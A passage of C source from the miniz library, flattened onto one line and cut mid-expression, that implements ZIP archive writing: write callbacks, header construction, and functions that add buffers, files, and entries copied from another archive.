#ifndef MINIZ_NO_STDIO mz_bool mz_zip_reader_end(mz_zip_archive *pZip) { if ((!pZip) || (!pZip->m_pState) || (!pZip->m_pAlloc) || (!pZip->m_pFree) || (pZip->m_zip_mode != MZ_ZIP_MODE_READING)) return MZ_FALSE; if (pZip->m_pState) { mz_zip_internal_state *pState = pZip->m_pState; pZip->m_pState = NULL; mz_zip_array_clear(pZip, &pState->m_central_dir); mz_zip_array_clear(pZip, &pState->m_central_dir_offsets); mz_zip_array_clear(pZip, &pState->m_sorted_central_dir_offsets); #ifndef MINIZ_NO_STDIO if (pState->m_pFile) { MZ_FCLOSE(pState->m_pFile); pState->m_pFile = NULL; } #endif // #ifndef MINIZ_NO_STDIO pZip->m_pFree(pZip->m_pAlloc_opaque, pState); } pZip->m_zip_mode = MZ_ZIP_MODE_INVALID; return MZ_TRUE; } #ifndef MINIZ_NO_STDIO mz_bool mz_zip_reader_extract_file_to_file(mz_zip_archive *pZip, const char *pArchive_filename, const char *pDst_filename, mz_uint flags) { int file_index = mz_zip_reader_locate_file(pZip, pArchive_filename, NULL, flags); if (file_index < 0) return MZ_FALSE; return mz_zip_reader_extract_to_file(pZip, file_index, pDst_filename, flags); } #endif // ------------------- .ZIP archive writing #ifndef MINIZ_NO_ARCHIVE_WRITING_APIS static void mz_write_le16(mz_uint8 *p, mz_uint16 v) { p[0] = (mz_uint8)v; p[1] = (mz_uint8)(v >> 8); } static void mz_write_le32(mz_uint8 *p, mz_uint32 v) { p[0] = (mz_uint8)v; p[1] = (mz_uint8)(v >> 8); p[2] = (mz_uint8)(v >> 16); p[3] = (mz_uint8)(v >> 24); } #define MZ_WRITE_LE16(p, v) mz_write_le16((mz_uint8 *)(p), (mz_uint16)(v)) #define MZ_WRITE_LE32(p, v) mz_write_le32((mz_uint8 *)(p), (mz_uint32)(v)) mz_bool mz_zip_writer_init(mz_zip_archive *pZip, mz_uint64 existing_size) { if ((!pZip) || (pZip->m_pState) || (!pZip->m_pWrite) || (pZip->m_zip_mode != MZ_ZIP_MODE_INVALID)) return MZ_FALSE; if (pZip->m_file_offset_alignment) { // Ensure user specified file offset alignment is a power of 2. if (pZip->m_file_offset_alignment & (pZip->m_file_offset_alignment - 1)) return MZ_FALSE; } if (!pZip->m_pAlloc) pZip->m_pAlloc = def_alloc_func; if (!pZip->m_pFree) pZip->m_pFree = def_free_func; if (!pZip->m_pRealloc) pZip->m_pRealloc = def_realloc_func; pZip->m_zip_mode = MZ_ZIP_MODE_WRITING; pZip->m_archive_size = existing_size; pZip->m_central_directory_file_ofs = 0; pZip->m_total_files = 0; if (NULL == (pZip->m_pState = (mz_zip_internal_state *)pZip->m_pAlloc(pZip->m_pAlloc_opaque, 1, sizeof(mz_zip_internal_state)))) return MZ_FALSE; memset(pZip->m_pState, 0, sizeof(mz_zip_internal_state)); MZ_ZIP_ARRAY_SET_ELEMENT_SIZE(&pZip->m_pState->m_central_dir, sizeof(mz_uint8)); MZ_ZIP_ARRAY_SET_ELEMENT_SIZE(&pZip->m_pState->m_central_dir_offsets, sizeof(mz_uint32)); MZ_ZIP_ARRAY_SET_ELEMENT_SIZE(&pZip->m_pState->m_sorted_central_dir_offsets, sizeof(mz_uint32)); return MZ_TRUE; } static size_t mz_zip_heap_write_func(void *pOpaque, mz_uint64 file_ofs, const void *pBuf, size_t n) { mz_zip_archive *pZip = (mz_zip_archive *)pOpaque; mz_zip_internal_state *pState = pZip->m_pState; mz_uint64 new_size = MZ_MAX(file_ofs + n, pState->m_mem_size); #ifdef _MSC_VER if ((!n) || ((0, sizeof(size_t) == sizeof(mz_uint32)) && (new_size > 0x7FFFFFFF))) #else if ((!n) || ((sizeof(size_t) == sizeof(mz_uint32)) && (new_size > 0x7FFFFFFF))) #endif return 0; if (new_size > pState->m_mem_capacity) { void *pNew_block; size_t new_capacity = MZ_MAX(64, pState->m_mem_capacity); while (new_capacity < new_size) new_capacity *= 2; if (NULL == (pNew_block = pZip->m_pRealloc(pZip->m_pAlloc_opaque, pState->m_pMem, 1, new_capacity))) return 0; pState->m_pMem = pNew_block; pState->m_mem_capacity = new_capacity; } memcpy((mz_uint8 *)pState->m_pMem + file_ofs, pBuf, n); pState->m_mem_size = (size_t)new_size; return n; } mz_bool mz_zip_writer_init_heap(mz_zip_archive *pZip, size_t size_to_reserve_at_beginning, size_t initial_allocation_size) { pZip->m_pWrite = mz_zip_heap_write_func; pZip->m_pIO_opaque = pZip; if (!mz_zip_writer_init(pZip, size_to_reserve_at_beginning)) return MZ_FALSE; if (0 != (initial_allocation_size = MZ_MAX(initial_allocation_size, size_to_reserve_at_beginning))) { if (NULL == (pZip->m_pState->m_pMem = pZip->m_pAlloc(pZip->m_pAlloc_opaque, 1, initial_allocation_size))) { mz_zip_writer_end(pZip); return MZ_FALSE; } pZip->m_pState->m_mem_capacity = initial_allocation_size; } return MZ_TRUE; } #ifndef MINIZ_NO_STDIO static size_t mz_zip_file_write_func(void *pOpaque, mz_uint64 file_ofs, const void *pBuf, size_t n) { mz_zip_archive *pZip = (mz_zip_archive *)pOpaque; mz_int64 cur_ofs = MZ_FTELL64(pZip->m_pState->m_pFile); if (((mz_int64)file_ofs < 0) || (((cur_ofs != (mz_int64)file_ofs)) && (MZ_FSEEK64(pZip->m_pState->m_pFile, (mz_int64)file_ofs, SEEK_SET)))) return 0; return MZ_FWRITE(pBuf, 1, n, pZip->m_pState->m_pFile); } mz_bool mz_zip_writer_init_file(mz_zip_archive *pZip, const char *pFilename, mz_uint64 size_to_reserve_at_beginning) { MZ_FILE *pFile; pZip->m_pWrite = mz_zip_file_write_func; pZip->m_pIO_opaque = pZip; if (!mz_zip_writer_init(pZip, size_to_reserve_at_beginning)) return MZ_FALSE; if (NULL == (pFile = MZ_FOPEN(pFilename, "wb"))) { mz_zip_writer_end(pZip); return MZ_FALSE; } pZip->m_pState->m_pFile = pFile; if (size_to_reserve_at_beginning) { mz_uint64 cur_ofs = 0; char buf[4096]; MZ_CLEAR_OBJ(buf); do { size_t n = (size_t)MZ_MIN(sizeof(buf), size_to_reserve_at_beginning); if (pZip->m_pWrite(pZip->m_pIO_opaque, cur_ofs, buf, n) != n) { mz_zip_writer_end(pZip); return MZ_FALSE; } cur_ofs += n; size_to_reserve_at_beginning -= n; } while (size_to_reserve_at_beginning); } return MZ_TRUE; } #endif // #ifndef MINIZ_NO_STDIO mz_bool mz_zip_writer_init_from_reader(mz_zip_archive *pZip, const char *pFilename) { mz_zip_internal_state *pState; if ((!pZip) || (!pZip->m_pState) || (pZip->m_zip_mode != MZ_ZIP_MODE_READING)) return MZ_FALSE; // No sense in trying to write to an archive that's already at the support max size if ((pZip->m_total_files == 0xFFFF) || ((pZip->m_archive_size + MZ_ZIP_CENTRAL_DIR_HEADER_SIZE + MZ_ZIP_LOCAL_DIR_HEADER_SIZE) > 0xFFFFFFFF)) return MZ_FALSE; pState = pZip->m_pState; if (pState->m_pFile) { #ifdef MINIZ_NO_STDIO pFilename; return MZ_FALSE; #else // Archive is being read from stdio - try to reopen as writable. if (pZip->m_pIO_opaque != pZip) return MZ_FALSE; if (!pFilename) return MZ_FALSE; pZip->m_pWrite = mz_zip_file_write_func; if (NULL == (pState->m_pFile = MZ_FREOPEN(pFilename, "r+b", pState->m_pFile))) { // The mz_zip_archive is now in a bogus state because pState->m_pFile is NULL, so just close it. mz_zip_reader_end(pZip); return MZ_FALSE; } #endif // #ifdef MINIZ_NO_STDIO } else if (pState->m_pMem) { // Archive lives in a memory block. Assume it's from the heap that we can resize using the realloc callback. if (pZip->m_pIO_opaque != pZip) return MZ_FALSE; pState->m_mem_capacity = pState->m_mem_size; pZip->m_pWrite = mz_zip_heap_write_func; } // Archive is being read via a user provided read function - make sure the user has specified a write function too. else if (!pZip->m_pWrite) return MZ_FALSE; // Start writing new files at the archive's current central directory location. pZip->m_archive_size = pZip->m_central_directory_file_ofs; pZip->m_zip_mode = MZ_ZIP_MODE_WRITING; pZip->m_central_directory_file_ofs = 0; return MZ_TRUE; } mz_bool mz_zip_writer_add_mem(mz_zip_archive *pZip, const char *pArchive_name, const void *pBuf, size_t buf_size, mz_uint level_and_flags) { return mz_zip_writer_add_mem_ex(pZip, pArchive_name, pBuf, buf_size, NULL, 0, level_and_flags, 0, 0); } typedef struct { mz_zip_archive *m_pZip; mz_uint64 m_cur_archive_file_ofs; mz_uint64 m_comp_size; } mz_zip_writer_add_state; static mz_bool mz_zip_writer_add_put_buf_callback(const void* pBuf, int len, void *pUser) { mz_zip_writer_add_state *pState = (mz_zip_writer_add_state *)pUser; if ((int)pState->m_pZip->m_pWrite(pState->m_pZip->m_pIO_opaque, pState->m_cur_archive_file_ofs, pBuf, len) != len) return MZ_FALSE; pState->m_cur_archive_file_ofs += len; pState->m_comp_size += len; return MZ_TRUE; } static mz_bool mz_zip_writer_create_local_dir_header(mz_zip_archive *pZip, mz_uint8 *pDst, mz_uint16 filename_size, mz_uint16 extra_size, mz_uint64 uncomp_size, mz_uint64 comp_size, mz_uint32 uncomp_crc32, mz_uint16 method, mz_uint16 bit_flags, mz_uint16 dos_time, mz_uint16 dos_date) { (void)pZip; memset(pDst, 0, MZ_ZIP_LOCAL_DIR_HEADER_SIZE); MZ_WRITE_LE32(pDst + MZ_ZIP_LDH_SIG_OFS, MZ_ZIP_LOCAL_DIR_HEADER_SIG); MZ_WRITE_LE16(pDst + MZ_ZIP_LDH_VERSION_NEEDED_OFS, method ? 20 : 0); MZ_WRITE_LE16(pDst + MZ_ZIP_LDH_BIT_FLAG_OFS, bit_flags); MZ_WRITE_LE16(pDst + MZ_ZIP_LDH_METHOD_OFS, method); MZ_WRITE_LE16(pDst + MZ_ZIP_LDH_FILE_TIME_OFS, dos_time); MZ_WRITE_LE16(pDst + MZ_ZIP_LDH_FILE_DATE_OFS, dos_date); MZ_WRITE_LE32(pDst + MZ_ZIP_LDH_CRC32_OFS, uncomp_crc32); MZ_WRITE_LE32(pDst + MZ_ZIP_LDH_COMPRESSED_SIZE_OFS, comp_size); MZ_WRITE_LE32(pDst + MZ_ZIP_LDH_DECOMPRESSED_SIZE_OFS, uncomp_size); MZ_WRITE_LE16(pDst + MZ_ZIP_LDH_FILENAME_LEN_OFS, filename_size); MZ_WRITE_LE16(pDst + MZ_ZIP_LDH_EXTRA_LEN_OFS, extra_size); return MZ_TRUE; } static mz_bool mz_zip_writer_create_central_dir_header(mz_zip_archive *pZip, mz_uint8 *pDst, mz_uint16 filename_size, mz_uint16 extra_size, mz_uint16 comment_size, mz_uint64 uncomp_size, mz_uint64 comp_size, mz_uint32 uncomp_crc32, mz_uint16 method, mz_uint16 bit_flags, mz_uint16 dos_time, mz_uint16 dos_date, mz_uint64 local_header_ofs, mz_uint32 ext_attributes) { (void)pZip; memset(pDst, 0, MZ_ZIP_CENTRAL_DIR_HEADER_SIZE); MZ_WRITE_LE32(pDst + MZ_ZIP_CDH_SIG_OFS, MZ_ZIP_CENTRAL_DIR_HEADER_SIG); MZ_WRITE_LE16(pDst + MZ_ZIP_CDH_VERSION_NEEDED_OFS, method ? 20 : 0); MZ_WRITE_LE16(pDst + MZ_ZIP_CDH_BIT_FLAG_OFS, bit_flags); MZ_WRITE_LE16(pDst + MZ_ZIP_CDH_METHOD_OFS, method); MZ_WRITE_LE16(pDst + MZ_ZIP_CDH_FILE_TIME_OFS, dos_time); MZ_WRITE_LE16(pDst + MZ_ZIP_CDH_FILE_DATE_OFS, dos_date); MZ_WRITE_LE32(pDst + MZ_ZIP_CDH_CRC32_OFS, uncomp_crc32); MZ_WRITE_LE32(pDst + MZ_ZIP_CDH_COMPRESSED_SIZE_OFS, comp_size); MZ_WRITE_LE32(pDst + MZ_ZIP_CDH_DECOMPRESSED_SIZE_OFS, uncomp_size); MZ_WRITE_LE16(pDst + MZ_ZIP_CDH_FILENAME_LEN_OFS, filename_size); MZ_WRITE_LE16(pDst + MZ_ZIP_CDH_EXTRA_LEN_OFS, extra_size); MZ_WRITE_LE16(pDst + MZ_ZIP_CDH_COMMENT_LEN_OFS, comment_size); MZ_WRITE_LE32(pDst + MZ_ZIP_CDH_EXTERNAL_ATTR_OFS, ext_attributes); MZ_WRITE_LE32(pDst + MZ_ZIP_CDH_LOCAL_HEADER_OFS, local_header_ofs); return MZ_TRUE; } static mz_bool mz_zip_writer_add_to_central_dir(mz_zip_archive *pZip, const char *pFilename, mz_uint16 filename_size, const void *pExtra, mz_uint16 extra_size, const void *pComment, mz_uint16 comment_size, mz_uint64 uncomp_size, mz_uint64 comp_size, mz_uint32 uncomp_crc32, mz_uint16 method, mz_uint16 bit_flags, mz_uint16 dos_time, mz_uint16 dos_date, mz_uint64 local_header_ofs, mz_uint32 ext_attributes) { mz_zip_internal_state *pState = pZip->m_pState; mz_uint32 central_dir_ofs = (mz_uint32)pState->m_central_dir.m_size; size_t orig_central_dir_size = pState->m_central_dir.m_size; mz_uint8 central_dir_header[MZ_ZIP_CENTRAL_DIR_HEADER_SIZE]; // No zip64 support yet if ((local_header_ofs > 0xFFFFFFFF) || (((mz_uint64)pState->m_central_dir.m_size + MZ_ZIP_CENTRAL_DIR_HEADER_SIZE + filename_size + extra_size + comment_size) > 0xFFFFFFFF)) return MZ_FALSE; if (!mz_zip_writer_create_central_dir_header(pZip, central_dir_header, filename_size, extra_size, comment_size, uncomp_size, comp_size, uncomp_crc32, method, bit_flags, dos_time, dos_date, local_header_ofs, ext_attributes)) return MZ_FALSE; if ((!mz_zip_array_push_back(pZip, &pState->m_central_dir, central_dir_header, MZ_ZIP_CENTRAL_DIR_HEADER_SIZE)) || (!mz_zip_array_push_back(pZip, &pState->m_central_dir, pFilename, filename_size)) || (!mz_zip_array_push_back(pZip, &pState->m_central_dir, pExtra, extra_size)) || (!mz_zip_array_push_back(pZip, &pState->m_central_dir, pComment, comment_size)) || (!mz_zip_array_push_back(pZip, &pState->m_central_dir_offsets, &central_dir_ofs, 1))) { // Try to push the central directory array back into its original state. mz_zip_array_resize(pZip, &pState->m_central_dir, orig_central_dir_size, MZ_FALSE); return MZ_FALSE; } return MZ_TRUE; } static mz_bool mz_zip_writer_validate_archive_name(const char *pArchive_name) { // Basic ZIP archive filename validity checks: Valid filenames cannot start with a forward slash, cannot contain a drive letter, and cannot use DOS-style backward slashes. if (*pArchive_name == '/') return MZ_FALSE; while (*pArchive_name) { if ((*pArchive_name == '\\') || (*pArchive_name == ':')) return MZ_FALSE; pArchive_name++; } return MZ_TRUE; } static mz_uint mz_zip_writer_compute_padding_needed_for_file_alignment(mz_zip_archive *pZip) { mz_uint32 n; if (!pZip->m_file_offset_alignment) return 0; n = (mz_uint32)(pZip->m_archive_size & (pZip->m_file_offset_alignment - 1)); return (pZip->m_file_offset_alignment - n) & (pZip->m_file_offset_alignment - 1); } static mz_bool mz_zip_writer_write_zeros(mz_zip_archive *pZip, mz_uint64 cur_file_ofs, mz_uint32 n) { char buf[4096]; memset(buf, 0, MZ_MIN(sizeof(buf), n)); while (n) { mz_uint32 s = MZ_MIN(sizeof(buf), n); if (pZip->m_pWrite(pZip->m_pIO_opaque, cur_file_ofs, buf, s) != s) return MZ_FALSE; cur_file_ofs += s; n -= s; } return MZ_TRUE; } mz_bool mz_zip_writer_add_mem_ex(mz_zip_archive *pZip, const char *pArchive_name, const void *pBuf, size_t buf_size, const void *pComment, mz_uint16 comment_size, mz_uint level_and_flags, mz_uint64 uncomp_size, mz_uint32 uncomp_crc32) { mz_uint16 method = 0, dos_time = 0, dos_date = 0; mz_uint level, ext_attributes = 0, num_alignment_padding_bytes; mz_uint64 local_dir_header_ofs = pZip->m_archive_size, cur_archive_file_ofs = pZip->m_archive_size, comp_size = 0; size_t archive_name_size; mz_uint8 local_dir_header[MZ_ZIP_LOCAL_DIR_HEADER_SIZE]; tdefl_compressor *pComp = NULL; mz_bool store_data_uncompressed; mz_zip_internal_state *pState; if ((int)level_and_flags < 0) level_and_flags = MZ_DEFAULT_LEVEL; level = level_and_flags & 0xF; store_data_uncompressed = ((!level) || (level_and_flags & MZ_ZIP_FLAG_COMPRESSED_DATA)); if ((!pZip) || (!pZip->m_pState) || (pZip->m_zip_mode != MZ_ZIP_MODE_WRITING) || ((buf_size) && (!pBuf)) || (!pArchive_name) || ((comment_size) && (!pComment)) || (pZip->m_total_files == 0xFFFF) || (level > MZ_UBER_COMPRESSION)) return MZ_FALSE; pState = pZip->m_pState; if ((!(level_and_flags & MZ_ZIP_FLAG_COMPRESSED_DATA)) && (uncomp_size)) return MZ_FALSE; // No zip64 support yet if ((buf_size > 0xFFFFFFFF) || (uncomp_size > 0xFFFFFFFF)) return MZ_FALSE; if (!mz_zip_writer_validate_archive_name(pArchive_name)) return MZ_FALSE; #ifndef MINIZ_NO_TIME { time_t cur_time; time(&cur_time); mz_zip_time_to_dos_time(cur_time, &dos_time, &dos_date); } #endif // #ifndef MINIZ_NO_TIME archive_name_size = strlen(pArchive_name); if (archive_name_size > 0xFFFF) return MZ_FALSE; num_alignment_padding_bytes = mz_zip_writer_compute_padding_needed_for_file_alignment(pZip); // no zip64 support yet if ((pZip->m_total_files == 0xFFFF) || ((pZip->m_archive_size + num_alignment_padding_bytes + MZ_ZIP_LOCAL_DIR_HEADER_SIZE + MZ_ZIP_CENTRAL_DIR_HEADER_SIZE + comment_size + archive_name_size) > 0xFFFFFFFF)) return MZ_FALSE; if ((archive_name_size) && (pArchive_name[archive_name_size - 1] == '/')) { // Set DOS Subdirectory attribute bit. ext_attributes |= 0x10; // Subdirectories cannot contain data. if ((buf_size) || (uncomp_size)) return MZ_FALSE; } // Try to do any allocations before writing to the archive, so if an allocation fails the file remains unmodified. (A good idea if we're doing an in-place modification.) if ((!mz_zip_array_ensure_room(pZip, &pState->m_central_dir, MZ_ZIP_CENTRAL_DIR_HEADER_SIZE + archive_name_size + comment_size)) || (!mz_zip_array_ensure_room(pZip, &pState->m_central_dir_offsets, 1))) return MZ_FALSE; if ((!store_data_uncompressed) && (buf_size)) { if (NULL == (pComp = (tdefl_compressor *)pZip->m_pAlloc(pZip->m_pAlloc_opaque, 1, sizeof(tdefl_compressor)))) return MZ_FALSE; } if (!mz_zip_writer_write_zeros(pZip, cur_archive_file_ofs, num_alignment_padding_bytes + sizeof(local_dir_header))) { pZip->m_pFree(pZip->m_pAlloc_opaque, pComp); return MZ_FALSE; } local_dir_header_ofs += num_alignment_padding_bytes; if (pZip->m_file_offset_alignment) { MZ_ASSERT((local_dir_header_ofs & (pZip->m_file_offset_alignment - 1)) == 0); } cur_archive_file_ofs += num_alignment_padding_bytes + sizeof(local_dir_header); MZ_CLEAR_OBJ(local_dir_header); if (pZip->m_pWrite(pZip->m_pIO_opaque, cur_archive_file_ofs, pArchive_name, archive_name_size) != archive_name_size) { pZip->m_pFree(pZip->m_pAlloc_opaque, pComp); return MZ_FALSE; } cur_archive_file_ofs += archive_name_size; if (!(level_and_flags & MZ_ZIP_FLAG_COMPRESSED_DATA)) { uncomp_crc32 = (mz_uint32)mz_crc32(MZ_CRC32_INIT, (const mz_uint8*)pBuf, buf_size); uncomp_size = buf_size; if (uncomp_size <= 3) { level = 0; store_data_uncompressed = MZ_TRUE; } } if (store_data_uncompressed) { if (pZip->m_pWrite(pZip->m_pIO_opaque, cur_archive_file_ofs, pBuf, buf_size) != buf_size) { pZip->m_pFree(pZip->m_pAlloc_opaque, pComp); return MZ_FALSE; } cur_archive_file_ofs += buf_size; comp_size = buf_size; if (level_and_flags & MZ_ZIP_FLAG_COMPRESSED_DATA) method = MZ_DEFLATED; } else if (buf_size) { mz_zip_writer_add_state state; state.m_pZip = pZip; state.m_cur_archive_file_ofs = cur_archive_file_ofs; state.m_comp_size = 0; if ((tdefl_init(pComp, mz_zip_writer_add_put_buf_callback, &state, tdefl_create_comp_flags_from_zip_params(level, -15, MZ_DEFAULT_STRATEGY)) != TDEFL_STATUS_OKAY) || (tdefl_compress_buffer(pComp, pBuf, buf_size, TDEFL_FINISH) != TDEFL_STATUS_DONE)) { pZip->m_pFree(pZip->m_pAlloc_opaque, pComp); return MZ_FALSE; } comp_size = state.m_comp_size; cur_archive_file_ofs = state.m_cur_archive_file_ofs; method = MZ_DEFLATED; } pZip->m_pFree(pZip->m_pAlloc_opaque, pComp); pComp = NULL; // no zip64 support yet if ((comp_size > 0xFFFFFFFF) || (cur_archive_file_ofs > 0xFFFFFFFF)) return MZ_FALSE; if (!mz_zip_writer_create_local_dir_header(pZip, local_dir_header, (mz_uint16)archive_name_size, 0, uncomp_size, comp_size, uncomp_crc32, method, 0, dos_time, dos_date)) return MZ_FALSE; if (pZip->m_pWrite(pZip->m_pIO_opaque, local_dir_header_ofs, local_dir_header, sizeof(local_dir_header)) != sizeof(local_dir_header)) return MZ_FALSE; if (!mz_zip_writer_add_to_central_dir(pZip, pArchive_name, (mz_uint16)archive_name_size, NULL, 0, pComment, comment_size, uncomp_size, comp_size, uncomp_crc32, method, 0, dos_time, dos_date, local_dir_header_ofs, ext_attributes)) return MZ_FALSE; pZip->m_total_files++; pZip->m_archive_size = cur_archive_file_ofs; return MZ_TRUE; } #ifndef MINIZ_NO_STDIO mz_bool mz_zip_writer_add_file(mz_zip_archive *pZip, const char *pArchive_name, const char *pSrc_filename, const void *pComment, mz_uint16 comment_size, mz_uint level_and_flags) { mz_uint uncomp_crc32 = MZ_CRC32_INIT, level, num_alignment_padding_bytes; mz_uint16 method = 0, dos_time = 0, dos_date = 0, ext_attributes = 0; mz_uint64 local_dir_header_ofs = pZip->m_archive_size, cur_archive_file_ofs = pZip->m_archive_size, uncomp_size = 0, comp_size = 0; size_t archive_name_size; mz_uint8 local_dir_header[MZ_ZIP_LOCAL_DIR_HEADER_SIZE]; MZ_FILE *pSrc_file = NULL; if ((int)level_and_flags < 0) level_and_flags = MZ_DEFAULT_LEVEL; level = level_and_flags & 0xF; if ((!pZip) || (!pZip->m_pState) || (pZip->m_zip_mode != MZ_ZIP_MODE_WRITING) || (!pArchive_name) || ((comment_size) && (!pComment)) || (level > MZ_UBER_COMPRESSION)) return MZ_FALSE; if (level_and_flags & MZ_ZIP_FLAG_COMPRESSED_DATA) return MZ_FALSE; if (!mz_zip_writer_validate_archive_name(pArchive_name)) return MZ_FALSE; archive_name_size = strlen(pArchive_name); if (archive_name_size > 0xFFFF) return MZ_FALSE; num_alignment_padding_bytes = mz_zip_writer_compute_padding_needed_for_file_alignment(pZip); // no zip64 support yet if ((pZip->m_total_files == 0xFFFF) || ((pZip->m_archive_size + num_alignment_padding_bytes + MZ_ZIP_LOCAL_DIR_HEADER_SIZE + MZ_ZIP_CENTRAL_DIR_HEADER_SIZE + comment_size + archive_name_size) > 0xFFFFFFFF)) return MZ_FALSE; if (!mz_zip_get_file_modified_time(pSrc_filename, &dos_time, &dos_date)) return MZ_FALSE; pSrc_file = MZ_FOPEN(pSrc_filename, "rb"); if (!pSrc_file) return MZ_FALSE; MZ_FSEEK64(pSrc_file, 0, SEEK_END); uncomp_size = MZ_FTELL64(pSrc_file); MZ_FSEEK64(pSrc_file, 0, SEEK_SET); if (uncomp_size > 0xFFFFFFFF) { // No zip64 support yet MZ_FCLOSE(pSrc_file); return MZ_FALSE; } if (uncomp_size <= 3) level = 0; if (!mz_zip_writer_write_zeros(pZip, cur_archive_file_ofs, num_alignment_padding_bytes + sizeof(local_dir_header))) { MZ_FCLOSE(pSrc_file); return MZ_FALSE; } local_dir_header_ofs += num_alignment_padding_bytes; if (pZip->m_file_offset_alignment) { MZ_ASSERT((local_dir_header_ofs & (pZip->m_file_offset_alignment - 1)) == 0); } cur_archive_file_ofs += num_alignment_padding_bytes + sizeof(local_dir_header); MZ_CLEAR_OBJ(local_dir_header); if (pZip->m_pWrite(pZip->m_pIO_opaque, cur_archive_file_ofs, pArchive_name, archive_name_size) != archive_name_size) { MZ_FCLOSE(pSrc_file); return MZ_FALSE; } cur_archive_file_ofs += archive_name_size; if (uncomp_size) { mz_uint64 uncomp_remaining = uncomp_size; void *pRead_buf = pZip->m_pAlloc(pZip->m_pAlloc_opaque, 1, MZ_ZIP_MAX_IO_BUF_SIZE); if (!pRead_buf) { MZ_FCLOSE(pSrc_file); return MZ_FALSE; } if (!level) { while (uncomp_remaining) { mz_uint n = (mz_uint)MZ_MIN(MZ_ZIP_MAX_IO_BUF_SIZE, uncomp_remaining); if ((MZ_FREAD(pRead_buf, 1, n, pSrc_file) != n) || (pZip->m_pWrite(pZip->m_pIO_opaque, cur_archive_file_ofs, pRead_buf, n) != n)) { pZip->m_pFree(pZip->m_pAlloc_opaque, pRead_buf); MZ_FCLOSE(pSrc_file); return MZ_FALSE; } uncomp_crc32 = (mz_uint32)mz_crc32(uncomp_crc32, (const mz_uint8 *)pRead_buf, n); uncomp_remaining -= n; cur_archive_file_ofs += n; } comp_size = uncomp_size; } else { mz_bool result = MZ_FALSE; mz_zip_writer_add_state state; tdefl_compressor *pComp = (tdefl_compressor *)pZip->m_pAlloc(pZip->m_pAlloc_opaque, 1, sizeof(tdefl_compressor)); if (!pComp) { pZip->m_pFree(pZip->m_pAlloc_opaque, pRead_buf); MZ_FCLOSE(pSrc_file); return MZ_FALSE; } state.m_pZip = pZip; state.m_cur_archive_file_ofs = cur_archive_file_ofs; state.m_comp_size = 0; if (tdefl_init(pComp, mz_zip_writer_add_put_buf_callback, &state, tdefl_create_comp_flags_from_zip_params(level, -15, MZ_DEFAULT_STRATEGY)) != TDEFL_STATUS_OKAY) { pZip->m_pFree(pZip->m_pAlloc_opaque, pComp); pZip->m_pFree(pZip->m_pAlloc_opaque, pRead_buf); MZ_FCLOSE(pSrc_file); return MZ_FALSE; } for ( ; ; ) { size_t in_buf_size = (mz_uint32)MZ_MIN(uncomp_remaining, MZ_ZIP_MAX_IO_BUF_SIZE); tdefl_status status; if (MZ_FREAD(pRead_buf, 1, in_buf_size, pSrc_file) != in_buf_size) break; uncomp_crc32 = (mz_uint32)mz_crc32(uncomp_crc32, (const mz_uint8 *)pRead_buf, in_buf_size); uncomp_remaining -= in_buf_size; status = tdefl_compress_buffer(pComp, pRead_buf, in_buf_size, uncomp_remaining ? TDEFL_NO_FLUSH : TDEFL_FINISH); if (status == TDEFL_STATUS_DONE) { result = MZ_TRUE; break; } else if (status != TDEFL_STATUS_OKAY) break; } pZip->m_pFree(pZip->m_pAlloc_opaque, pComp); if (!result) { pZip->m_pFree(pZip->m_pAlloc_opaque, pRead_buf); MZ_FCLOSE(pSrc_file); return MZ_FALSE; } comp_size = state.m_comp_size; cur_archive_file_ofs = state.m_cur_archive_file_ofs; method = MZ_DEFLATED; } pZip->m_pFree(pZip->m_pAlloc_opaque, pRead_buf); } MZ_FCLOSE(pSrc_file); pSrc_file = NULL; // no zip64 support yet if ((comp_size > 0xFFFFFFFF) || (cur_archive_file_ofs > 0xFFFFFFFF)) return MZ_FALSE; if (!mz_zip_writer_create_local_dir_header(pZip, local_dir_header, (mz_uint16)archive_name_size, 0, uncomp_size, comp_size, uncomp_crc32, method, 0, dos_time, dos_date)) return MZ_FALSE; if (pZip->m_pWrite(pZip->m_pIO_opaque, local_dir_header_ofs, local_dir_header, sizeof(local_dir_header)) != sizeof(local_dir_header)) return MZ_FALSE; if (!mz_zip_writer_add_to_central_dir(pZip, pArchive_name, (mz_uint16)archive_name_size, NULL, 0, pComment, comment_size, uncomp_size, comp_size, uncomp_crc32, method, 0, dos_time, dos_date, local_dir_header_ofs, ext_attributes)) return MZ_FALSE; pZip->m_total_files++; pZip->m_archive_size = cur_archive_file_ofs; return MZ_TRUE; } #endif // #ifndef MINIZ_NO_STDIO mz_bool mz_zip_writer_add_from_zip_reader(mz_zip_archive *pZip, mz_zip_archive *pSource_zip, mz_uint file_index) { mz_uint n, bit_flags, num_alignment_padding_bytes; mz_uint64 comp_bytes_remaining, local_dir_header_ofs; mz_uint64 cur_src_file_ofs, cur_dst_file_ofs; mz_uint32 local_header_u32[(MZ_ZIP_LOCAL_DIR_HEADER_SIZE + sizeof(mz_uint32) - 1) / sizeof(mz_uint32)]; mz_uint8 *pLocal_header = (mz_uint8 *)local_header_u32; mz_uint8 central_header[MZ_ZIP_CENTRAL_DIR_HEADER_SIZE]; size_t orig_central_dir_size; mz_zip_internal_state *pState; void *pBuf; const mz_uint8 *pSrc_central_header; if ((!pZip) || (!pZip->m_pState) || (pZip->m_zip_mode != MZ_ZIP_MODE_WRITING)) return MZ_FALSE; if (NULL == (pSrc_central_header = mz_zip_reader_get_cdh(pSource_zip, file_index))) return MZ_FALSE; pState = pZip->m_pState; num_alignment_padding_bytes = mz_zip_writer_compute_padding_needed_for_file_alignment(pZip); // no zip64 support yet if ((pZip->m_total_files == 0xFFFF) || ((pZip->m_archive_size + num_alignment_padding_bytes + MZ_ZIP_LOCAL_DIR_HEADER_SIZE + MZ_ZIP_CENTRAL_DIR_HEADER_SIZE) > 0xFFFFFFFF)) return MZ_FALSE; cur_src_file_ofs = MZ_READ_LE32(pSrc_central_header + MZ_ZIP_CDH_LOCAL_HEADER_OFS); cur_dst_file_ofs = pZip->m_archive_size; if (pSource_zip->m_pRead(pSource_zip->m_pIO_opaque, cur_src_file_ofs, pLocal_header, MZ_ZIP_LOCAL_DIR_HEADER_SIZE) != MZ_ZIP_LOCAL_DIR_HEADER_SIZE) return MZ_FALSE; if (MZ_READ_LE32(pLocal_header) != MZ_ZIP_LOCAL_DIR_HEADER_SIG) return MZ_FALSE; cur_src_file_ofs += MZ_ZIP_LOCAL_DIR_HEADER_SIZE; if (!mz_zip_writer_write_zeros(pZip, cur_dst_file_ofs, num_alignment_padding_bytes)) return MZ_FALSE; cur_dst_file_ofs += num_alignment_padding_bytes; local_dir_header_ofs = cur_dst_file_ofs; if (pZip->m_file_offset_alignment) { MZ_ASSERT((local_dir_header_ofs 